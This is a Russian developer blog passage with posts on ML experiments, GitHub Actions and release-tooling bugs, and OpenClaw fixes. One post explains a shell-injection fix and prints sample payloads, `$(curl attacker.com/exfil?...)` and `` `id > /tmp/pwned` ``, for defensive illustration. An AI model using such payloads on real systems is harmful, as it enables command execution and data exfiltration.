Блог
Публикации о процессе разработки, решённых задачах и изученных технологиях
Когда зависимость становится преимуществом: история про seed'ы в LLM Analisis
Мы застряли. Три недели исследований на проекте **LLM Analisis** не давали результата — модель **Orchestra-MoE** показывала странное поведение. Результаты прямо зависели от того, как мы инициализировали веса. Казалось, это баг. На самом деле это была возможность, которую мы просто не видели. Проблема началась невинно. Запускали эксперимент десять раз подряд — получали разные скоры. Изменился только seed инициализации. Сначала думали: "Может, это нестабильность модели?" Проверили архитектуру, данные, loss функцию — всё чисто. Но результаты плясали от 75% до 78% в зависимости от random seed'а. Вместо того чтобы искать проблему, мы решили посмотреть на это под другим углом. Позвали экспертов — собрали панель из четырех специалистов по машинному обучению. И вот что они сказали: *не боритесь с зависимостью, используйте её*. **Voronova** привела теорию: если запустить одну и ту же модель N раз с разными seed'ами, максимальный результат растёт предсказуемо. По закону экстремумов распределения, для N=20 можно ожидать улучшение на 1.4 процентных пункта просто за счёт выбора лучшего seed'а. Для N=100 это уже 2.1pp. **Zhang** посчитал прагматику: двадцать запусков по полчаса каждый — всего десять часов GPU времени. Это намного дешевле, чем те 85+ часов, что мы уже потратили на архитектурные улучшения, которые ничего не дали. **Merkulov** добавил статистическую честность: выбирать best seed нужно по валидационному сплиту, а потом репортить результат на тестовом. Иначе выглядит как overfitting на тест-данные. **Kalenov** и **Patel** предложили бонусы: можно собрать ensemble из топ-трёх seed'ов через majority voting — разные инициализации делают разные ошибки, и вместе они сильнее. Или использовать data-dependent инициализацию через SVD от активаций, это снизит дисперсию. Что нас выбило из колеи? Не баг, а **feature selection**. Система работает хорошо, но нужно выбрать правильное начальное состояние. Как выбрать гитару — звучит одна и та же модель совсем по-разному в руках разных людей. Планируем теперь batch-запуск двадцати seed'ов на полных 1319 задачах, анализ распределения, построение ensemble'я. Может, finally доберёмся до 79% и выше. *Кстати, как Ubuntu: никогда не забудешь первый опыт, но возвращаться туда, где застрял, обычно не стоит — лучше выбрать новый seed и начать сначала.* 😄
Как 79% точности стало воспроизводимо: история отладки модели LLM
Когда я запустил Phase 30b, первый вопрос был просто: это реальный результат или артефакт грязных данных? На Phase 29a модель выдала пик 79.3% на GSM8K, но потом график выглядел как пила — скачки, провалы, непредсказуемость. Я не мог поверить в цифру, пока не повторю на чистых данных. Перевожу проект LLM Analysis на режим диагностики. Беру свежий датасет, убираю все грязные примеры — дубликаты, невалидные задачи, шум. Запускаю Phase 30b с полным tracking'ом: не просто финальный результат, а промежуточные замеры на каждых 50 задачах. Результаты потрясли меня в хорошем смысле. **Пик 79.0% воспроизводим.** Не один раз — стабильно на 200 задачах. Финальный результат 75.8% с перплексией 2.14. Сравниваю с 29a: тогда финал был 73.0%, теперь +2.8 процентных пункта. Чистые данные решили ровно половину проблемы. Это число, которому я могу доверять. Но появилась новая загадка: *почему кривая деградирует после 200-й задачи?* На начальных примерах модель учится идеально — 79%, потом плавно падает через 78.0%, 77.2%, заканчивая 75.8%. Это не обвал, не артефакт. Это систематическое падение производительности. Гипотеза: curriculum learning помогает на первых этапах, но вредит на остальных 300 задачах. Модель переучивается на *простых* примерах и теряет способность решать сложные. Решаю запустить Phase 30a — диагностический baseline без curriculum'а вообще. Это покажет, какие именно задачи модель решает лучше, когда учится на всех примерах одновременно. 30a — это тот же ретрейн Phase 24a, но с per-problem tracking'ом. Нужно видеть не просто финальную цифру, а маску ошибок: где 30b лучше, где хуже, где одинаково. Кстати, знаете, что общего у React и кота? Оба делают только то, что хотят, и игнорируют инструкции. 😄 Примерно то же происходит с моделью — учишь её одним способом, она решает по-другому. Теперь ясно: **79% — не везение, а сигнал.** Следующий шаг — превратить сигнал в стратегию. Phase 30a даст нам карту, где именно curriculum помогает, а где мешает. После этого можно будет дизайнить гибридный подход: лёгкие примеры вначале (чтобы модель раньше начала понимать паттерны), потом переход на сложные (чтобы не переучиться). GO-signal получен. Диагностика начинается завтра.
Как мы спасали аналитику трендов от невидимых багов
Работаю над **Trend Analysis** уже несколько спринтов, и вот снова: всё выглядит правильно, данные есть, но аналитика молчит. История обновлений с версии 0.12.0 — это история, как мы учились видеть то, что скрывается за очевидным. Началось просто. В версии 0.13.0 я заметил странное: сигналы из анализов теряются где-то в недрах базы данных. Проверил логи, проверил запросы — всё на месте. Потом понял: в коде стояло `phase='new'`, а должно было быть `'emerging'`. Казалось бы, мелочь, но на ней теряется 18 из 19 сигналов. Одна буква — и половина функциональности не работает. Параллельно с этим наткнулся на ещё один подводный камень: джойн в таблице recommendations был написан с опечаткой — `tr.id = t.id` вместо `tr.object_id = t.id`. Результат: momentum вообще не считался после миграции. Казалось бы, технический баг, но для юзера это означал, что рекомендации просто не появлялись. Чтобы ускорить работу с растущим объёмом данных, добавили 15 новых индексов БД в миграции 020. Это был момент боли — понял, что без правильной оптимизации запросы будут тормозить экспоненциально. К счастью, индексы сработали идеально, и теперь аналитика летает. А потом пришла версия 0.14.0, и мы переросли в новое качество. Добавили серверную пагинацию, поиск, сортировку анализов — теперь юзер может не просто смотреть данные, но реально с ними работать. Заодно реализовали **Saved Products** в Lab — локальное хранилище закладок через Zustand. Мелочь, но очень удобная. Всю работу приправили переводом trend_name и динамическими ролями в кеш переводов. Казалось бы, локализация — не главное, но когда твой интерфейс говорит с юзером на его языке, он чувствует себя дома. **Claude** помогал на каждом этапе: от анализа проблем до рефакторинга TypeScript типов, пока мы выравнивали SourceItem с бэкенд-моделью. Инструмент, который может одновременно понимать архитектуру, замечать баги и предлагать решения — на вес золота. Главный урок: **невидимые баги опаснее очевидных**. Код работает, тесты проходят, но где-то глубоко логика разъезжается с реальностью. Миграции, джойны, фазы сигналов — это всё сложные системы, где одна ошибка каскадирует через весь пайплайн. Кстати, вся эта история напомнила мне старую шутку: что общего у Jenkins и подростка? Оба непредсказуемы и требуют постоянного внимания 😄
GitHub Actions: как булев превратил релиз в фантом
В проекте **ai-agents-genkit** случилось ровно то, что ломает сердце DevOps-инженеров — релиз не произошёл, хотя кнопка была нажата. Работал над этим я, и история оказалась поучительной. Всё началось с workflow'а `releasekit-uv.yml`. Туда заложили параметр `inputs.dry_run` — обычный чекбокс для контроля над релизом. Логика простая: галочка установлена → проверка без публикации; галочку снял → выпускаем официальную версию с тегами и GitHub Release. Казалось бы, надёжно. Но когда разработчики снимали галочку и ждали релиза v0.6.0, ничего не происходило. Теги создавались локально, но никогда не пушились в удалённый репозиторий. GitHub Release остаётся пустой. Я начал копаться в коде и нашёл виновника — **тихую бомбу типизации**. Проблема скрывалась в этой строке: ``` DRY_RUN: ${{ ... || (inputs.dry_run == 'false' && 'false' || 'true') }} ``` На первый взгляд выглядит безобидно. Но вот в чём подвох: `inputs.dry_run` объявлен как **boolean** — настоящий логический тип. Когда пользователь снимает галочку, значение становится собственно `false` (булев). А в выражении это `false` сравнивается со строковым литералом `'false'` — символами в кавычках. GitHub Actions слабо типизирован, и здесь это дорого обходится. Логическое `false` никогда не равно строке `'false'`. Сравнение падает, условие вычисляется в `false`, и короткозамыкающая логика выплёвывает `'true'`. Итог: **DRY_RUN всегда был `'true'`**, независимо от того, что нажал пользователь. Исправление оказалось элегантным: ``` DRY_RUN: ${{ ... || (inputs.dry_run && 'true' || 'false') }} ``` Теперь булев сравнивается с булевым. Если `inputs.dry_run` истина, берём `'true'`; если ложь — `'false'`. Типы совпадают, выражение вычисляется корректно. После патча в pull request #4737 релизный pipeline наконец-то уважает волю пользователя. **Урок в том, что** boolean-типы кажутся ясными, пока не встретишь их в системе с собственным парсером выражений. GitHub Actions, YAML, Terraform — везде одна и та же проблема. Всегда проверяй, что тип на одной стороне сравнения совпадает с типом на другой. Особенно когда булев встречается со строкой. И помните: в Stack Overflow говорят, что Python считает себя лучше всех именно потому, что Stack Overflow так сказал. Здесь же история проще — неправильная типизация сломала всё, что было построено. 😄
GitHub Actions: как булев сломал цель релиза
В проекте **ai-agents-genkit** случилось то, что ломает сердце DevOps-инженеров — релиз не произошёл, хотя кнопка была нажата. Виноват в этом не человеческий фактор, а коварная типизация в GitHub Actions. Всё началось с workflow'а `releasekit-uv.yml`. Там есть параметр `inputs.dry_run` — чекбокс для контроля над релизом. Идея простая: если галочка установлена, делаем проверку без реально опубликованного релиза; если нет — выпускаем официальный релиз с тегами и GitHub Release. Казалось бы, надёжная схема. Но в реальности при нажатии кнопки с `dry_run=false` всё равно выполнялась сухая прогонка. Теги создавались виртуально, GitHub Release никогда не появлялся, и разработчики сидели в недоумении. Диагноз стоял замечательный — **тихая ошибка типизации**. Проблема скрывалась в строке, где вычисляется переменная окружения `DRY_RUN`: ``` inputs.dry_run == 'false' ``` На поверхности выглядит безобидно, но здесь GitHub Actions совершает невидимый трюк. Параметр `inputs.dry_run` объявлен как **тип `boolean`** — настоящий логический тип. Когда разработчик снимает галочку, значение становится собственно булевым `false`. А в выражении сравнения это `false` встречается со строковым литералом `'false'` — символами, завёрнутыми в кавычки. В контексте GitHub Actions выражений `false == 'false'` возвращает `false` именно потому, что это разные типы: логическое значение не равно строке. Логика внутри условия берёт эту `false` и путём трёхместного оператора превращает её в строку `'true'`. Итог: `DRY_RUN` всегда получал значение `'true'`, независимо от того, что нажал пользователь. Исправление оказалось элегантным. Нужно было просто сравнивать булев с булевым: ``` inputs.dry_run && 'true' || 'false' ``` Теперь логика работает честно: если `inputs.dry_run` истина, берём `'true'`; если ложь, берём `'false'`. Типы совпадают, выражение вычисляется корректно. После патча в pull request #4737 жизненный цикл релиза заработал как надо. Версия v0.6.0 уже может быть выпущена с уверенностью, что галочка в интерфейсе workflow'а будет почтительно выполняться машиной. **Вывод:** Boolean-типы кажутся простыми, пока не встретишь их в YAML-выражениях GitHub Actions. Туда же относится любая система с собственным парсером логических значений — всегда проверяй, что тип на одной стороне сравнения совпадает с типом на другой. И помните, в мире Arch Linux говорят: **«это работает» — вот и вся ваша документация** 😄
Когда теги создаются, но не доходят: история молчаливого отказа git
Представь ситуацию: ты выпускаешь версию v0.6.0 Python пакета в проекте Genkit. Процесс отработал без ошибок, логи зелёные, все 68 тегов якобы созданы и запушены. Релиз опубликован. Но через час выясняется — на GitHub никаких тегов нет. Призрак, а не релиз. Именно это произошло с releasekit, инструментом для автоматизации выпусков. Три месяца никто не заметил, пока не стали разбираться, почему теги исчезают. ## Охота на невидимого врага Проблема крылась в `create_tags()` — функции, которая формирует названия тегов по шаблону из `releasekit.toml`: `{label}/{name}-v{version}`. Например, `py/genkit-v0.6.0`. Вот беда: функция принимала параметр `label` (значение `py`), но **забывала его передавать** в три вложенных вызова `format_tag()`. Результат — теги создавались с ведущей косой чертой: `/genkit-v0.6.0` вместо `py/genkit-v0.6.0`. Git видит такое имя и внутренне закатывает глаза — это не валидное имя для ref. Но ошибку не выкидывает. Теги создаются локально с неправильными названиями, команда push выполняется «успешно» (ну, она же отправила битые данные, технически успех), а на удалённый сервер они так и не попадают. Молчком. Без единого предупреждения. Кстати, интересная деталь: функция `delete_tags()` этот баг **не имела** — там `label` уже передавалась правильно. Так бывает. ## От исправления к защите Первое решение — очевидное. Добавить `label=label` во все три вызова `format_tag()`. Но это лишь пластырь. Вторая часть исправления — **валидация перед действием**. Новая функция `validate_tag_name()` проверяет теги против правил git для имён ref: нет ведущих и замыкающих слэшей, нет двойных точек, нет пробелов. И главное — перед тем как создавать хоть один тег, цикл валидации пробегает по **всем** планируемым именам. Если одно невалидно — весь процесс падает с информативной ошибкой. Fail-fast вместо тихого отказа. Третья проблема была скромнее, но реальна. При подготовке окружения в GitHub Actions команда `git checkout -- .` очищает только **отслеживаемые** файлы. Если `uv sync` создаёт неотслеживаемые (`.venv/`, `__pycache__/`), рабочая директория остаётся грязной. Решение — `git reset --hard && git clean -fd`. Полная очистка, как надо. ## Итог: 54 теста и спокойный сон Все изменения покрыты регрессионными тестами — 12 новых, итого 54 проходящих. Теги теперь создаются корректно, валидация срабатывает раньше, чем git начнёт молчать. И, знаешь, есть такое правило в Figma: если она работает — не трогай 😄
Одновременно 12 пакетов Genkit: как releasekit спас нас от ручной координации
Знаете ощущение, когда нужно выпустить обновление для целой экосистемы пакетов? Вчера я столкнулся с этим вызовом на проекте **Genkit** — это фреймворк для работы с AI-агентами. У нас было 12 пакетов, которые нуждались в новом релизе одновременно. Раньше такое означало бы ручной марафон: проверить зависимости каждого плагина, вручную бампить версии, убедиться, что ничего не сломалось. Кошмар координации. Но на этот раз у нас был **releasekit** — инструмент, который автоматизирует весь процесс выпуска. ## Разбор по полочкам Я запустил простую команду: ``` py/bin/releasekit plan --bumped --publishable ``` И вот что произошло. Releasekit проанализировал все коммиты, обнаружил, что у основного пакета **genkit** было 11 связанных изменений: - **genkit-plugin-anthropic** — 0.5.0 → 0.6.0 - **genkit-plugin-compat-oai** — 0.5.0 → 0.6.0 - **genkit-plugin-evaluators** — 0.5.0 → 0.6.0 - **genkit-plugin-fastapi** — 0.5.0 → 0.6.0 И ещё 8 плагинов для Google Cloud, Google Genai, Ollama, XAI, DeepSeek, Flask и Vertex AI. ## Почему это работает? Releasekit сканирует конвенциональные коммиты (conventional commits) в истории Git и определяет, нужно ли бампить версию. Минорное обновление 0.5.0 → 0.6.0 означает, что добавилась функциональность или были исправлены баги, но не сломалась обратная совместимость. Интересный момент: система обнаружила один нестандартный коммит — `'elisa/fix/core framework improvements (#4649)'` — и выдала предупреждение. Сообщение было в формате ветки, а не в формате `fix: ...`. Но это не остановило процесс — просто залогировалось как warning. ## Основные исправления в этом релизе Среди всех этих 12 пакетов было несколько критических фиксов: - Исправление пути для логирования в ядре (Path fix for logging) - Замена literalного нуль-байта на Git-экранирование `%x00` в changelog — вещь техническая, но важная для совместимости - Улучшения в Firebase telemetry и рефакторинг реализации - Асинхронное создание клиента с обновлением credentials в фоне для **genkit-plugin-vertex-ai** ## IT факт в завершение А вы знали, почему DynamoDB не пришёл на вечеринку? Его заблокировал firewall. 😄 Шутки шутками, но система контроля версий и автоматизации релизов — это реально спасение для монорепозиториев с десятком зависимостей. Вместо того чтобы спать-не-спать и боязно кликать по кнопке publish, я просто дал команду и пошёл пить кофе. Releasekit сделал всю грязную работу: вычислил версии, составил changelog, все 12 пакетов готовы к публикации. Вот это я понимаю под словом *DX* (Developer Experience).
Как мы научили CI передавать право подписи релизам
Работаю в **Genkit** — это Python-библиотека для генеративного ИИ. Недавно столкнулись с задачей, которая на первый взгляд казалась простой: автоматизировать выпуск версий. Но под капотом скрывалась целая история про доверие, аутентификацию и то, как машина доказывает GitHub, что она имеет право что-то коммитить. ## Проблема: три способа подписать себя При каждом автоматическом релизе нужно создать коммит с тегами, но **GitHub не доверяет просто так**. Проверяет CLA (Contributor License Agreement) — то есть нужен реальный аккаунт, подписавший соглашение. Мы выбрали три дорожки: **GitHub App** (премиум) — приложение Genkit, созданное в самом GitHub. Оно вызывает API, API возвращает специальный ID юзера, и коммиты становятся от лица бота-приложения. CLA проходит, CI запускается. **Personal Access Token (PAT)** — обычный токен для конкретного аккаунта разработчика. Уже знаком каждому, кто работал с GitHub CLI. Так же проходит CLA и запускает CI. **GITHUB_TOKEN** (есть по умолчанию) — встроенный токен, даёт доступ каждому Action. Главный трюк: даже с ним можно подделать идентичность, если в переменных репо хранить имя и email человека, который подписал CLA. ## Как это устроено Все восемь рабочих потоков в Genkit теперь получили `auth` job на первом этапе. Он проверяет, что настроено (App? PAT? или только GITHUB_TOKEN?), и резолвит идентичность: - **App**: ищет юзер-ID через `gh api`, делает коммит от `genkit-bot` - **PAT**: берёт `RELEASEKIT_GIT_USER_NAME` и `RELEASEKIT_GIT_USER_EMAIL` из переменных репо - **GITHUB_TOKEN**: то же самое, плюс fallback на `github-actions[bot]` Главное: если ты находишься в ситуации, когда App и PAT недоступны, но у тебя есть CLA-подписанный аккаунт — просто добавь две переменные в настройки репо, и даже встроенный токен пройдёт проверку CLA. ## Бонус: bootstrap_tags.py Отдельно создали скрипт, который читает конфиг `releasekit.toml`, находит все пакеты в `library_dirs`, и создаёт теги для каждого пакета отдельно. Не hardcode'ит пути типа `['packages', 'plugins']`, а читает их из конфига. В итоге — 24 тега за раз, и все они указывают на правильный коммит. ## На практике Теперь разработчик может зайти на страницу переменных GitHub репо, добавить два поля (имя и почту) — и релизы будут проходить CLA, даже без App или PAT. Это снижает барьер входа для новых контрибьюторов. Мой код работает, и я знаю почему. Мой код не работает, и я уже добавил логирование. 😄
Когда маршрутизация экспертов встречает стену батч-нормализации
Работал над проектом `llm-analysis` — попытка воплотить мечту о смеси экспертов (MoE) для классификации на CIFAR-100. На бумаге звучит идеально: несколько специализированных нейросетей, умный роутер распределяет примеры, каждый эксперт углубляется в свою область. Теория говорит, что на специализированных данных эксперт должен дать +40 процентных пункта над базовым подходом. На практике упёрся в две стены одновременно. ## Batch Norm предательство Началось с фазы 12b — горячей замены экспертов (hot-plug test). Замораживаю веса эксперта, обучаю новый, включаю замороженный обратно. Точность первого эксперта падала на 2.48pp. Думал, это неизбежный дрейф при переобучении остальных. Копался в коде часами. Потом понял: `requires_grad=False` не спасает. BatchNorm слои вычисляют running statistics (среднее и дисперсию) даже с frozen весами. Когда обучаю эксперт E1, BatchNorm в backbone'е (E0) видит новые батчи, обновляет свои внутренние счётчики и ломает инференс замороженного эксперта. Решение простое, как кувалда: добавить `model.stem.eval()` после `model.train()`, явно перевести backbone в режим инференса. Дрейф упал с 2.48pp до **0.00pp**. Это был просто инженерный баг, но на него потратил полдня. ## Роутер, который не может научиться Фаза 13a обещала быть волшебной: построю более глубокий роутер, обучу его совместно с экспертами, роутер нужен для анализа — всё сойдётся. Oracle (идеальный роутер) показывал потолок в 80.78%, а наш простой `nn.Linear(128, 4)` давал 72.93%. Зазор в семь с половиной пункта! Запустил три стратегии: - **A**: глубокий роутер + отдельное обучение экспертов → 73.32% (нет улучшения) - **B**: совместное обучение роутера и экспертов → 73.10% (хуже baseline) - **C**: вообще неудача, routing accuracy 62.5% и не растёт Вдруг понимаю: **специализация и совместное обучение на CIFAR-100 несовместимы**. Каждый экспертный поток получает данные всех 100 классов, градиенты идут со всех направлений, и доменная специфика стирается. Роутер не может выучить отделение — потому что эксперты сами не специализируются. ## Факт из реальности Вот забавное совпадение: идеальный день программиста — ни одного тикета в Jira. Реальный день — 15 тикетов, три митинга, ноль коммитов 😄 Но в нашей ситуации это метафора посерьёзнее. Я запустил четыре параллельных эксперимента, пытаясь одновременно решить две задачи (hot-plug + маршрутизация). Батч-норм проблема — это мой тикет, который решился за пятнадцать минут кода. Маршрутизация — это архитектурный блокер, который требует другого подхода. ## Вывод **Фаза 12b победила**: BatchNorm теперь в eval mode, hot-plug стабилен, друсть экспертов валидирован. Но **фаза 13a показала** — нельзя требовать специализацию, если эксперты видят одинаковые данные. Дальше либо пересмотр архитектуры (правильные домены для каждого эксперта), либо смирение с тем, что роутер так и не научится лучше случайного. На CIFAR-100 это не работает — надо идти на другой датасет с явной структурой доменов.
Как git push --force-with-lease спасает CI от зацикливания на release-ветках
Работаем над **genkit** — платформой для AI-агентов от Google. В проекте есть автоматическая система выпуска релизов, которая живёт в `releasekit-uv.yml` и должна была работать как часы. Но в какой-то момент CI начал падать с ошибкой non-fast-forward при попытке создать PR для релиза. ## Проблема: ветка, которая не отпускает Корень зла оказался простым, но коварным. Функция `prepare_release()` каждый раз **пересоздаёт release-ветку с нуля**, используя `git checkout -B`. Это нормально, если ветка только локальная. Но когда она уже существует на удалённом репозитории (остаток от прошлого запуска CI), `git push` отказывается её обновлять — это же non-fast-forward изменение, потенциально опасное. Ситуация усугублялась тем, что CI часто запускается повторно: разработчик запустил релиз, что-то пошло не так, и он попытался снова. На втором прогоне `releasekit` уже видит старую ветку на origin и падает. ## Решение: force с умом Мы добавили параметр `force: bool = False` в протокол `VCS` — это общий интерфейс, который поддерживают и Git, и Mercurial. В реализации для Git выбрали **`--force-with-lease`** вместо обычного `--force`. Почему именно `--force-with-lease`? Потому что это безопаснее. Обычный `--force` перезапишет любую историю на удалённом сервере, даже если её там уже изменили руки коллеги. `--force-with-lease` проверит: "Удалённая ветка ещё в том состоянии, которое я последний раз видел?" Если нет — откажет. Это защита от случайного стирания чужой работы. В `prepare.py` теперь вызываем: ``` vcs.push(force=True) ``` И выполненных тестов говорят, что всё работает: `ruff check`, `py type check`, `pyrefly check` — все зелёные. ## Заодно навели чистоту Улучшили обработку ошибок в `cli.py` — теперь `_cmd_prepare` ловит `RuntimeError` и логирует событие `prepare_error` вместо полного traceback'а. А в GitHub Actions улучшили читаемость: если что-то сломалось, выводим последние 50 строк логов вне группы `::group::`, чтобы видно было сразу, без разворачивания. Бонус: переписали скрипт `setup.sh` — заменили медленный O(M×N) цикл с grep'ом на быструю O(M+N) ассоциативную таблицу для проверки уже загруженных моделей Ollama. Мелочь, но помогает ускорить инициализацию. ## Вывод Иногда самые коварные баги скрывают простые решения: просто нужно знать нужный флаг Git и немного поработать над безопасностью. Теперь release-ветки пересоздаются без конфликтов, CI стабилен, и разработчики могут перезапускать подготовку релизов столько раз, сколько нужно. --- *Что общего у Selenium и подростка? Оба непредсказуемы и требуют постоянного внимания.* 😄
Когда техдолг кусает в спину: как мы очистили 2600 строк мёртвого кода
Проект **trend-analysis** вырос из стартапа в полноценный инструмент анализа трендов. Но с ростом пришла и проблема — код начал напоминать старый чердак, где каждый разработчик оставлял свои артефакты, не убирая за собой. Мы столкнулись с классической ситуацией: **git** показывает нам красивую историю коммитов, но реальность была печальнее. В коде жили дублирующиеся адаптеры — `tech.py`, `academic.py`, `marketplace.py` — целых 1013 строк, которые делали ровно то же самое, что их потомки в отдельных файлах (`hacker_news.py`, `github.py`, `arxiv.py`). Вот уже месяц разработчики путались, какой адаптер на самом деле использует **API**, а какой просто валяется без дела. Начали расследование. Нашли `api/services/data_mapping.py` — 270 строк кода, которые никто не импортировал уже полгода. Потом обнаружили целые рабочие процессы (`workflow.py`, `full_workflow.py`) — 121 строка, к которым никто не обращался. На фронтенде ситуация была похожей: компоненты `signal-table`, `impact-zone-card`, `empty-state` (409 строк) спокойно сидели в проекте, как будто их кто-то забыл удалить после рефакторинга. Но это был只 верхушка айсберга. Самое интересное — **ghost queries**. В базе была функция `_get_trend_sources_from_db()`, которая запрашивала таблицу `trend_sources`. Только вот эта таблица никогда не была создана (`CREATE TABLE` в миграциях отсутствовал). Функция мирно работала, возвращала пустой результат, и никто не замечал. Чистый пример того, как техдолг становится невидимым врагом. Мы начали с **DRY-принципа** на фронтенде — извлекли константы (`SOURCE_LABELS`, `CATEGORY_DOT_COLOR` и др.) в единый файл `lib/constants.ts`. Потом привели в порядок бэкенд: исправили `credits_store.py`, заменив прямой вызов `sqlite3.connect()` на правильный `db.connection.get_conn()` — это была потенциальная уязвимость в управлении подключениями. Очистили `requirements.txt` и `.env.example` — закомментировали неиспользуемые пакеты (`exa-py`, `pyvis`, `hypothesis`) и удалили мёртвые переменные окружения (`DATABASE_URL`, `LANGSMITH_*`, `EMBEDDING_*`). Исправили даже шаблоны тестов: эндпоинт `/trends/job-t/report` переименовали в `/analyses/job-t/report` для консистентности. Итого: 2600+ строк удалено, архитектура очищена, сразу стало проще ориентироваться в коде. Техдолг не исчезнет полностью — это часть разработки, — но его нужно время от времени погашать, чтобы проект оставался живым. А знаете, почему **Angular** лучший друг разработчика? 😄 Потому что без него ничего не работает. С ним тоже, но хотя бы есть кого винить.
Когда группа видна, а отправитель — нет: история одного бага
# Когда group chat показывает группу, но скрывает отправителя Проект OpenClaw — это не новый стартап, это сложная экосистема для работы с разными мессенджерами. И вот в BlueBubbles, интеграции для синхронизации Apple Messages, обнаружилась тонкая проблема: когда кто-то писал в групповой чат, группа отображалась как группа, но вот кто именно написал сообщение — оставалось загадкой. Представь: на экране видишь «[BlueBubbles] Сообщение пришло в "Друзья на даче"», а автора — хоть ты тресни. Задача была чёткая: сделать, чтобы в групповых чатах группа показывалась нормально, но при этом было видно, кто именно написал. Звучит просто, но в голове разработчика крутилось одно: как это реализовано в других каналах? Потому что вбивать велосипед — верный путь к техдолгу. **Первым делом** достали функцию `formatInboundEnvelope` — она уже использовалась в iMessage и Signal. Оказалось, там логика уже готовая: группе выделяется свой вид в заголовке (envelope header), а имя отправителя добавляется в тело сообщения. Скопировать этот паттерн в BlueBubbles значило привести всё в соответствие с остальной системой. Но тут вылезла вторая проблема: после форматирования сообщения нужно его ещё и обработать правильно. Включили `finalizeInboundContext` — функцию, которая нормализует поля, выставляет правильный ChatType, подставляет ConversationLabel и выравнивает MediaType. То есть применили тот же подход, что в iMessage и Signal. **BodyForAgent** при этом переключили на сырой текст (rawBody) вместо обёрнутого в конверт — иначе агент будет работать с `[BlueBubbles ...] текст сообщения`, а не с чистым текстом. И вот неожиданность: нужно было выровнять `fromLabel` с функцией `formatInboundFromLabel`. Суть в том, что для групп нужно писать «GroupName id:peerId», для личных сообщений — «Name id:senderId» (если имя отличается от ID). Мелкая, казалось бы, деталь, но она делает систему консистентной: везде одинаковый формат. **Интересный факт**: когда разные каналы используют разные форматы одних и тех же данных, это тихий убийца debugging'а. Тестировщик смотрит на iMessage, видит одно, смотрит на BlueBubbles — видит другое. Казалось бы, одна функция, один формат, но нет — каждый канал решил, что сам знает лучше. Поэтому когда разработчик вспомнил о единообразии, это был момент, когда система стала *ровнее*. Результат: BlueBubbles теперь работает как остальные каналы. Групповые чаты показываются группой, отправители видны, ConversationLabel наконец начинает возвращать имя группы вместо undefined. И главное — это не кастомный костыль, а применение существующего паттерна из iMessage и Signal. Система стала более предсказуемой. Теперь, когда приходит сообщение в групповой чат BlueBubbles, всё отображается логично: видна группа, видно, кто пишет, агент получает чистый текст для обработки. Ничего особенного, просто хорошая инженерия. **Разработчик на собеседовании**: «Я умею выравнивать форматы данных между каналами». Интервьюер: «А конкретно?» Разработчик: «Ну, BeautifulSoup, regex и... молитвы к богу синхронизации». 😄
Когда shell выполняет то, чего ты не просил
# Когда shell не в курсе, что ты хочешь Представь ситуацию: ты разработчик в openclaw, работаешь над безопасностью сохранения учётных данных в macOS. Всё казалось простым — берём OAuth-токен от пользователя, кладём его в системный keychain через команду `security add-generic-password`. Дело 10 минут, правда? Но потом коллега задаёт вопрос, которого ты боялся: «А что, если токен содержит что-нибудь подозрительное?» ## История одного $() Задача была в проекте openclaw и относилась к критической — предотвращение shell injection. В коде использовался **execSync**, который вызывал команду `security` через интерпретатор оболочки. Разработчик защищал от экранирования одинарными кавычками, заменяя `'` на `'"'"'`. Типичный трюк, правда? Но вот беда: одинарные кавычки защищают от большинства вещей, но не от *всего*. Если пользователь присылает OAuth-токен вроде `$(curl attacker.com/exfil?data=...)` или использует обратные кавычки `` `id > /tmp/pwned` ``, shell обработает эту подстановку команд ещё *до* того, как начнёт интерпретировать кавычки. Command injection по классике — CWE-78, HIGH severity. Представь масштаб: любой человек с правом выбрать поддельного OAuth-провайдера может выполнить произвольную команду с правами пользователя, на котором запущен gateway. ## execFileSync вместо execSync Решение было гениально простым: не передавать команду через shell вообще. Вместо **execSync** с интерпретатором разработчик выбрал **execFileSync** — функция, которая запускает программу напрямую, минуя `/bin/sh`. Аргументы передаются массивом, а не строкой. Вместо: ``` execSync(`security add-generic-password -U -s "..." -a "..." -w '${токен}'`) ``` Теперь: ``` execFileSync("security", ["add-generic-password", "-U", "-s", SERVICE, "-a", ACCOUNT, "-w", tokenValue]) ``` Красота в том, что OS сама разбирает границы аргументов — никакого shell, никакого интерпретирования метасимволов, токен остаётся просто токеном. ## Маленький факт о системной безопасности Знаешь, в системах Unix уже *десятилетия* говорят: не используй shell для запуска программ, если не нужна shell. Но почему-то разработчики снова и снова создают уязвимости через `execSync` с конкатенацией строк. Это как баг-батарея, которая никогда не кончается. ## Итого Pull request #15924 закрыл уязвимость в момент, когда она была обнаружена. Проект openclaw получил более безопасный способ работы с учётными данными, и никакой `$(whoami)` в OAuth-токене больше не сломает систему. Разработчик выучил (или вспомнил) важный урок: функции типа **execFileSync**, **subprocess.run** с `shell=False` или Go's **os/exec** — это не просто удобство, это *основа* безопасности. Главное? Всегда думай о том, как интерпретируется твоя команда. Shell — могущественная штука, но она должна быть твоим последним выбором, когда нужна *подстановка*, а не просто запуск программы. 😄 Совет дня: если ты вставляешь пользовательские данные в shell-команду, то ты уже потерял игру — выбери другой API.
Когда markdown убивает formatting: история трёх багов в Signal
Представьте себе: сообщение прошло через markdown-парсер, выглядит идеально в превью, но при рендеринге в Signal вдруг... смещение стилей, невидимые горизонтальные линии, списки прыгают по экрану. Именно эту головоломку решала команда OpenClaw в коммите #9781. ## Три слоя проблем Первый слой — **markdown IR** (внутреннее представление). Оказалось, что парсер генерирует лишние переносы между элементами списков и следующими абзацами. Вложенные списки теряют отступы, блокавроты выпускают лишние символы новой строки. Хуже всего — горизонтальные линии вообще молча пропадали вместо того, чтобы отобразиться видимым разделителем `───`. Второй слой — **Signal formatting**. Здесь затаилась коварная ошибка с накопительным сдвигом. Когда в одном сообщении расширялось несколько ссылок, функция `applyInsertionsToStyles()` использовала *исходные* координаты для каждой вставки, забывая про смещение от предыдущих. Результат: жирный текст приземлялся в совершенно неправильное место, как если бы вы сдвинули закладку, но продолжили считать позицию от начала книги. Третий слой — **chunking** (разбиение текста). Старый код полагался на `indexOf`, что было хрупким и непредсказуемым. Нужно было переписать на детерминированное отслеживание позиции с уважением к границам слов, скобкам раскрытых ссылок и корректным смещениям стилей. ## Как это чинили Команда не просто закрыла баги — она переписала логику: - Markdown IR: добавили проверку всех случаев с пробелами, отступами, специальными символами. Теперь горизонтальные линии видны, списки выравнены, блокавроты дышат правильно. - Signal: внедрили *cumulative shift tracking* — отслеживание накопленного смещения при каждой вставке. Плюс переделали `splitSignalFormattedText()` так, чтобы он разбивал по пробелам и новым строкам, не ломал скобки, и корректно пересчитывал диапазоны стилей для каждого чанка. - Тесты: добавили **69 новых тестов** — 51 для markdown 